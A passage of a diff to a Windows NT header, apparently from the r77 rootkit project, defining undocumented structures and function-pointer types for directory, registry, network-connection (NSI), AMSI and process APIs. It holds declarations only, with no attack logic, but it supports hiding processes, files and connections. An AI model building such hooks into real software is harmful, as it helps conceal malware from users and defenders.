FastPebUnlockRoutine; - DWORD EnvironmentUpdateCount; - LPVOID KernelCallbackTable; - DWORD SystemReserved; - DWORD AtlThunkSListPtr32; - LPVOID FreeList; - DWORD TlsExpansionCounter; - LPVOID TlsBitmap; - DWORD TlsBitmapBits[2]; - LPVOID ReadOnlySharedMemoryBase; - LPVOID ReadOnlySharedMemoryHeap; - LPVOID ReadOnlyStaticServerData; - LPVOID AnsiCodePageData; - LPVOID OemCodePageData; - LPVOID UnicodeCaseTableData; - DWORD NumberOfProcessors; - DWORD NtGlobalFlag; - LARGE_INTEGER CriticalSectionTimeout; - DWORD HeapSegmentReserve; - DWORD HeapSegmentCommit; - DWORD HeapDeCommitTotalFreeThreshold; - DWORD HeapDeCommitFreeBlockThreshold; - DWORD NumberOfHeaps; - DWORD MaximumNumberOfHeaps; - LPVOID ProcessHeaps; - LPVOID GdiSharedHandleTable; - LPVOID ProcessStarterHelper; - DWORD GdiDCAttributeList; - LPVOID LoaderLock; - DWORD OSMajorVersion; - DWORD OSMinorVersion; - WORD OSBuildNumber; - WORD OSCSDVersion; - DWORD OSPlatformId; - DWORD ImageSubsystem; - DWORD ImageSubsystemMajorVersion; - DWORD ImageSubsystemMinorVersion; - DWORD ImageProcessAffinityMask; - DWORD GdiHandleBuffer[34]; - LPVOID PostProcessInitRoutine; - LPVOID TlsExpansionBitmap; - DWORD TlsExpansionBitmapBits[32]; - DWORD SessionId; - ULARGE_INTEGER AppCompatFlags; - ULARGE_INTEGER AppCompatFlagsUser; - LPVOID ShimData; - LPVOID AppCompatInfo; - UNICODE_STRING CSDVersion; - LPVOID ActivationContextData; - LPVOID ProcessAssemblyStorageMap; - LPVOID SystemDefaultActivationContextData; - LPVOID SystemAssemblyStorageMap; - DWORD MinimumStackCommit; -} NT_PEB, *PNT_PEB; - -typedef struct _NT_IMAGE_RELOC -{ - WORD Offset : 12; - WORD Type : 4; -} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC; - -typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); -typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount); -typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); -typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); -typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); -typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); -typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); -typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); -typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); -typedef PDH_STATUS(WINAPI *NT_PDHGETRAWCOUNTERARRAYW)(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PPDH_RAW_COUNTER_ITEM_W itemBuffer); -typedef PDH_STATUS(WINAPI *NT_PDHGETFORMATTEDCOUNTERARRAYW)(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PPDH_FMT_COUNTERVALUE_ITEM_W itemBuffer); -typedef HRESULT(WINAPI *NT_AMSISCANBUFFER)(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result); -typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); -typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); -typedef NTSTATUS(NTAPI *NT_NTUNMAPVIEWOFSECTION)(HANDLE processHandle, LPVOID baseAddress); -typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation); -typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); -typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); -typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); -typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName); -typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function); -typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect); -typedef BOOL(WINAPI *NT_VIRTUALPROTECT)(LPVOID address, SIZE_T size, DWORD newProtect, PDWORD oldProtect); -typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved); - +#include "r77mindef.h" +#ifndef _NTDLL_H +#define _NTDLL_H + +#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) +#define PDH_MORE_DATA ((PDH_STATUS)0x800007d2L) + +#define SL_RESTART_SCAN 0x01 +#define SL_RETURN_SINGLE_ENTRY 0x02 +#define SL_INDEX_SPECIFIED 0x04 +#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08 +#define SL_NO_CURSOR_UPDATE 0x10 + +#define DEVICE_NSI L"\\Device\\Nsi" +#define IOCTL_NSI_GETALLPARAM 0x12001b + +typedef LONG PDH_STATUS; +typedef HANDLE PDH_HCOUNTER; + +typedef enum _NT_SYSTEM_INFORMATION_CLASS +{ + SystemProcessorInformation = 1, + SystemPathInformation = 4, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemTpmBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemCriticalProcessErrorLogInformation = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + SystemManufacturingInformation = 157, + SystemEnergyEstimationConfigInformation = 158, + SystemHypervisorDetailInformation = 159, + SystemProcessorCycleStatsInformation = 160, + SystemVmGenerationCountInformation = 161, + SystemTrustedPlatformModuleInformation = 162, + SystemKernelDebuggerFlags = 163, + SystemCodeIntegrityPolicyInformation = 164, + SystemIsolatedUserModeInformation = 165, + SystemHardwareSecurityTestInterfaceResultsInformation = 166, + SystemSingleModuleInformation = 167, + SystemAllowedCpuSetsInformation = 168, + SystemVsmProtectionInformation = 169, + SystemInterruptCpuSetsInformation = 170, + SystemSecureBootPolicyFullInformation = 171, + SystemCodeIntegrityPolicyFullInformation = 172, + SystemAffinitizedInterruptProcessorInformation = 173, + SystemRootSiloInformation = 174, + SystemCpuSetInformation = 175, + SystemCpuSetTagInformation = 176, + SystemWin32WerStartCallout = 177, + SystemSecureKernelProfileInformation = 178, + SystemCodeIntegrityPlatformManifestInformation = 179, + SystemInterruptSteeringInformation = 180, + SystemSupportedProcessorArchitectures = 181, + SystemMemoryUsageInformation = 182, + SystemCodeIntegrityCertificateInformation = 183, + SystemPhysicalMemoryInformation = 184, + SystemControlFlowTransition = 185, + SystemKernelDebuggingAllowed = 186, + SystemActivityModerationExeState = 187, + SystemActivityModerationUserSettings = 188, + SystemCodeIntegrityPoliciesFullInformation = 189, + SystemCodeIntegrityUnlockInformation = 190, + SystemIntegrityQuotaInformation = 191, + SystemFlushInformation = 192, + SystemProcessorIdleMaskInformation = 193, + SystemSecureDumpEncryptionInformation = 194, + SystemWriteConstraintInformation = 195, + SystemKernelVaShadowInformation = 196, + SystemHypervisorSharedPageInformation = 197, + SystemFirmwareBootPerformanceInformation = 198, + SystemCodeIntegrityVerificationInformation = 199, + SystemFirmwarePartitionInformation = 200, + SystemSpeculationControlInformation = 201, + SystemDmaGuardPolicyInformation = 202, + SystemEnclaveLaunchControlInformation = 203, + SystemWorkloadAllowedCpuSetsInformation = 204, + SystemCodeIntegrityUnlockModeInformation = 205, + SystemLeapSecondInformation = 206, + SystemFlags2Information = 207, + SystemSecurityModelInformation = 208, + SystemCodeIntegritySyntheticCacheInformation = 209, + SystemFeatureConfigurationInformation = 210, + SystemFeatureConfigurationSectionInformation = 211, + SystemFeatureUsageSubscriptionInformation = 212, + SystemSecureSpeculationControlInformation = 213 +} NT_SYSTEM_INFORMATION_CLASS; + +typedef struct _NT_SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + ULONG NumberOfThreadsHighWatermark; + ULONGLONG CycleTime; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + ULONG BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; +} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION; + +typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION +{ + ULONGLONG CycleTime; +} NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION; + +typedef enum _NT_FILE_INFORMATION_CLASS +{ + FileFullDirectoryInformation = 2, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileMaximumInformation +} NT_FILE_INFORMATION_CLASS; + +typedef struct _NT_FILE_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION; + +typedef struct _NT_FILE_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION; + +typedef enum _NT_KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation +} NT_KEY_INFORMATION_CLASS; + +typedef enum _NT_KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation +} NT_KEY_VALUE_INFORMATION_CLASS; + +typedef struct _NT_KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION; + +typedef struct _NT_KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION; + +typedef struct _NT_KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION; + +typedef struct _NT_KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION; + +typedef enum _NT_NSI_PARAM_TYPE +{ + NsiUdp = 1, + NsiTcp = 3 +} NT_NSI_PARAM_TYPE; + +typedef struct _NT_NSI_TCP_SUBENTRY +{ + BYTE Reserved1[2]; + USHORT Port; + ULONG IpAddress; + BYTE IpAddress6[16]; + BYTE Reserved2[4]; +} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY; + +typedef struct _NT_NSI_TCP_ENTRY +{ + NT_NSI_TCP_SUBENTRY Local; + NT_NSI_TCP_SUBENTRY Remote; +} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY; + +typedef struct _NT_NSI_UDP_ENTRY +{ + BYTE Reserved1[2]; + USHORT Port; + ULONG IpAddress; + BYTE IpAddress6[16]; + BYTE Reserved2[4]; +} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY; + +typedef struct _NT_NSI_STATUS_ENTRY +{ + ULONG State; + BYTE Reserved[8]; +} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY; + +typedef struct _NT_NSI_PROCESS_ENTRY +{ + ULONG UdpProcessId; + ULONG Reserved1; + ULONG Reserved2; + ULONG TcpProcessId; + ULONG Reserved3; + ULONG Reserved4; + ULONG Reserved5; + ULONG Reserved6; +} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY; + +typedef struct _NT_NSI_PARAM +{ + // It was really daunting to figure out the contents of this struct... + // There are lots of examples online with "LPVOID Unknown1, Unknown2" and so on. + // However, this should be as close to the actual structure as it gets: + + SIZE_T Reserved1; + SIZE_T Reserved2; + LPVOID ModuleId; + NT_NSI_PARAM_TYPE Type; + ULONG Reserved3; + ULONG Reserved4; + LPVOID Entries; + SIZE_T EntrySize; + LPVOID Reserved5; + SIZE_T Reserved6; + LPVOID StatusEntries; + SIZE_T StatusEntrySize; + LPVOID ProcessEntries; + SIZE_T ProcessEntrySize; + SIZE_T Count; +} NT_NSI_PARAM, *PNT_NSI_PARAM; + +typedef enum _NT_OBJECT_INFORMATION_CLASS +{ + ObjectNameInformation = 1, + ObjectAllInformation = 3, + ObjectDataInformation = 4 +} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS; + +typedef struct _NT_LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY; + +typedef struct _NT_PEB_LDR_DATA +{ + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID EntryInProgress; +} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA; + +typedef struct _NT_PEB +{ + BYTE InheritedAddressSpace; + BYTE ReadImageFileExecOptions; + BYTE BeingDebugged; + BYTE SpareBool; + LPVOID Mutant; + LPVOID ImageBaseAddress; + PNT_PEB_LDR_DATA Ldr; + LPVOID ProcessParameters; + LPVOID SubSystemData; + LPVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + LPVOID FastPebLockRoutine; + LPVOID FastPebUnlockRoutine; + DWORD EnvironmentUpdateCount; + LPVOID KernelCallbackTable; + DWORD SystemReserved; + DWORD AtlThunkSListPtr32; + LPVOID FreeList; + DWORD TlsExpansionCounter; + LPVOID TlsBitmap; + DWORD TlsBitmapBits[2]; + LPVOID ReadOnlySharedMemoryBase; + LPVOID ReadOnlySharedMemoryHeap; + LPVOID ReadOnlyStaticServerData; + LPVOID AnsiCodePageData; + LPVOID OemCodePageData; + LPVOID UnicodeCaseTableData; + DWORD NumberOfProcessors; + DWORD NtGlobalFlag; + LARGE_INTEGER CriticalSectionTimeout; + DWORD HeapSegmentReserve; + DWORD HeapSegmentCommit; + DWORD HeapDeCommitTotalFreeThreshold; + DWORD HeapDeCommitFreeBlockThreshold; + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + LPVOID ProcessHeaps; + LPVOID GdiSharedHandleTable; + LPVOID ProcessStarterHelper; + DWORD GdiDCAttributeList; + LPVOID LoaderLock; + DWORD OSMajorVersion; + DWORD OSMinorVersion; + WORD OSBuildNumber; + WORD OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + DWORD ImageSubsystemMinorVersion; + DWORD ImageProcessAffinityMask; + DWORD GdiHandleBuffer[34]; + LPVOID PostProcessInitRoutine; + LPVOID TlsExpansionBitmap; + DWORD TlsExpansionBitmapBits[32]; + DWORD SessionId; + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + LPVOID ShimData; + LPVOID AppCompatInfo; + UNICODE_STRING CSDVersion; + LPVOID ActivationContextData; + LPVOID ProcessAssemblyStorageMap; + LPVOID SystemDefaultActivationContextData; + LPVOID SystemAssemblyStorageMap; + DWORD MinimumStackCommit; +} NT_PEB, *PNT_PEB; + +typedef struct _NT_IMAGE_RELOC +{ + WORD Offset : 12; + WORD Type : 4; +} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC; + +typedef struct _NT_PDH_DATA_ITEM_PATH_ELEMENTS_W +{ + LPWSTR MachineName; + GUID ObjectGuid; + DWORD ItemId; + LPWSTR InstanceName; +} NT_PDH_DATA_ITEM_PATH_ELEMENTS_W, *PNT_PDH_DATA_ITEM_PATH_ELEMENTS_W; + +typedef struct _NT_PDH_COUNTER_PATH_ELEMENTS_W +{ + LPWSTR MachineName; + LPWSTR ObjectName; + LPWSTR InstanceName; + LPWSTR ParentInstance; + DWORD InstanceIndex; + LPWSTR CounterName; +} NT_PDH_COUNTER_PATH_ELEMENTS_W, *PNT_PDH_COUNTER_PATH_ELEMENTS_W; + +typedef struct _NT_PDH_COUNTER_INFO_W +{ + DWORD Length; + DWORD Type; + DWORD Version; + DWORD Status; + LONG Scale; + LONG DefaultScale; + DWORD_PTR UserData; + DWORD_PTR QueryUserData; + LPWSTR FullPath; + union + { + NT_PDH_DATA_ITEM_PATH_ELEMENTS_W DataItemPath; + NT_PDH_COUNTER_PATH_ELEMENTS_W CounterPath; + struct + { + LPWSTR MachineName; + LPWSTR ObjectName; + LPWSTR InstanceName; + LPWSTR ParentInstance; + DWORD InstanceIndex; + LPWSTR CounterName; + }; + }; + LPWSTR ExplainText; + DWORD DataBuffer[1]; +} NT_PDH_COUNTER_INFO_W, *PNT_PDH_COUNTER_INFO_W; + +typedef struct _NT_PDH_RAW_COUNTER +{ + volatile DWORD Status; + FILETIME TimeStamp; + LONGLONG FirstValue; + LONGLONG SecondValue; + DWORD MultiCount; +} NT_PDH_RAW_COUNTER, *PNT_PDH_RAW_COUNTER; + +typedef struct _NT_PDH_RAW_COUNTER_ITEM_W +{ + LPWSTR Name; + NT_PDH_RAW_COUNTER RawValue; +} 